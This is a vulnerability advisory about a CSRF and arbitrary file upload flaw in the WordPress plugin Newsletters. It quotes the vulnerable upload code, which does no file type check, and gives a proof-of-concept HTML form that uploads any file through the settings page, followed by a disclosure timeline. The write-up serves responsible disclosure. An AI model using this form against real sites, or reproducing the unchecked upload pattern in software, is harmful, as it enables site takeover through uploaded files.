Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Newsletters
We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. Seeing as arbitrary file upload vulnerabilities are at the top in terms of exploits that seems like one area where it might make sense to focus on, while looking over just several days worth of plugin changes we ran across a related, though much less concerning vulnerability. That being a cross-site request forgery (CSRF)/arbitrary file upload vulnerability in the plugin Newsletters, which would be unlikely to be targeted on a wide scale, but might be used in a targeted attack.
The vulnerability is caused by two security failures.
First, when saving the plugin’s settings the plugin doesn’t check to make sure that valid nonce is included with the request. That could allow an attacker that could get a logged in Administrator to visit a page they control, to change the settings. The form that is submitted actually contains a nonce, so the developer seems to be aware of CSRF, but hasn’t properly implemented the protection.
Second, one of the settings that gets saved is a “Tracking Image/Logo”. While that name would indicate that some sort of image should be uploaded the code, shown below, has no restriction on what can be uploaded (/wp-mailinglist.php):
8201 8202 8203 8204 8205 8206 8207 8208 8209 8210 8211 8212 8213 8214 8215 8216 8217 8218 8219 8220 8221 8222 8223 8224 8225 8226 8227 | if (!empty($_FILES)) { foreach ($_FILES as $fkey => $fval) { switch ($fkey) { case 'tracking_image_file' : $tracking_image_file = $this -> get_option('tracking_image_file'); if (!empty($_POST['tracking']) && $_POST['tracking'] == "Y" && !empty($_POST['tracking_image']) && $_POST['tracking_image'] == "custom") { if (!empty($_FILES['tracking_image_file']['name'])) { $tracking_image_file = $_FILES['tracking_image_file']['name']; $tracking_image_path = $Html -> uploads_path() . DS . $this -> plugin_name . DS; $tracking_image_full = $tracking_image_path . $tracking_image_file; if (move_uploaded_file($_FILES['tracking_image_file']['tmp_name'], $tracking_image_full)) { $this -> update_option('tracking_image_file', $tracking_image_file); } else { $this -> render_error(__('Tracking image file could not be moved from /tmp', 'wp-mailinglist')); } } else { if (empty($tracking_image_file)) { $this -> render_error(__('No image was specified', 'wp-mailinglist')); } } } break; } } } |
By default the setting’s page is only accessible to Administrators, but the plugin provides the option of making the settings page available to lower level users as well, so in those cases lower level users also could exploit the arbitrary file upload portion of this without CSRF coming in to play.
We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/newsletters-lite/, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=newsletters-settings" method="POST" enctype="multipart/form-data"> <input type="hidden" name="tracking" value="Y" /> <input type="hidden" name="tracking_image" value="custom" /> <input type="file" name="tracking_image_file" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- June 19, 2017 – Developer notified.
- December 18, 2017 – Version 4.6.7 released, which fixes cross-site request forgery (CSRF) issue.